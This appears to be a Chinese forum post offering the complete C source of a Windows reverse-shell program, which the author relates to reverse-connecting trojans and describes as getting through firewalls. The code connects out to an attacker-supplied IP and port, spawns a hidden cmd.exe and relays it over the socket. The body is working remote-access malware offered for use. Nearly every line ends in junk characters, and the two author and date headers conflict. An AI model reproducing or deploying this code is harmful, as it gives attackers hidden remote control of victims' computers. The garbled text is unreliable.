这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O-mP{
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/* ============================== %+`$Lb?{
Rebound port in Windows NT XRaq\a`=:
By wind,2006/7 cQN}z
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===============================*/ ;up89a-,9
#include @y}1%{,%
#include h"q`gj
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#pragma comment(lib,"wsock32.lib") _STN ^
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void OutputShell(); j4Lf6aUOX
SOCKET sClient; mF#{"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~xzRx$vU
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void main(int argc,char **argv) \f%jN1z
{ :;]6\/ky
WSADATA stWsaData; QZzi4[-as
int nRet; N|8TE7- F|
SOCKADDR_IN stSaiClient,stSaiServer; Ga~IOlS
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if(argc != 3) D[9eu>"'9M
{ 7]G3yt->
printf("Useage:\n\rRebound DestIP DestPort\n"); X_"TG;*$
return; ]3C7guWz
} IEO5QV:u:
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WSAStartup(MAKEWORD(2,2),&stWsaData); ` 8.d
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^TnBtIU-B
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stSaiClient.sin_family = AF_INET; O~ w&4F;{
stSaiClient.sin_port = htons(0); Rsqb<+7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ULAAY$o@5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xgc@cwd
{ qifX7AXHr
printf("Bind Socket Failed!\n"); 6x6PP}IX
return; `&j5/[>v
} R~;<}!Gtx
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stSaiServer.sin_family = AF_INET; tE- s/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g)2}`}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =3l%ZL/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @/XA*9]l
{ fnwtD*``
printf("Connect Error!"); F}.<x5I-;h
return; MyAi)Mz~o
} I=|b3-
OutputShell(); tecCU[O
} hQPiGIs
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void OutputShell() i,Yv
{ quVTqhg"
char szBuff[1024]; b=`h""u
SECURITY_ATTRIBUTES stSecurityAttributes; xR\$2(
OSVERSIONINFO stOsversionInfo; 27G6C`}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TU7 Qt<
STARTUPINFO stStartupInfo; LEWeybT
char *szShell; 8`kK)iCq
PROCESS_INFORMATION stProcessInformation; CR&v z3\Q
unsigned long lBytesRead; -dZ7;n5&_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `/8Dmg
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6Jrh'6o@
stSecurityAttributes.lpSecurityDescriptor = 0; gI<TfcC
stSecurityAttributes.bInheritHandle = TRUE; 5fA<I _ D
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [n44;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -]\UFR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tc.R(F96
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5ZSV)$t
stStartupInfo.wShowWindow = SW_HIDE; u-$(TyDEl|
stStartupInfo.hStdInput = hReadPipe; vzd1:'^t
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X@2[!%nm
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GetVersionEx(&stOsversionInfo); YJ3aJ^m#E
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switch(stOsversionInfo.dwPlatformId) NVAt-u0LB
{ 0V@u]
case 1: -O:+?gG
szShell = "command.com"; Ux2(Oph
break; cLEBcTx
default: Oca_1dlx
szShell = "cmd.exe"; kG^DHEne
break; /Q8E12
} ?YOH9%_cs
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K?8{y
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send(sClient,szMsg,77,0); 8vOKm)[%
while(1) c,:xm=&
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^OnU;8IC
if(lBytesRead) I6,'o)l{_
{ BxS\"W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]Nz~4ebB
send(sClient,szBuff,lBytesRead,0); MkEr|w'
} <Wn={1Ts"
else 7F!_gj p
{ xT6&;,|`
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; y-w=4_W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !`LaX!bmp
} ouL/tt_~
} L}T:Y).
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return; R @N
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}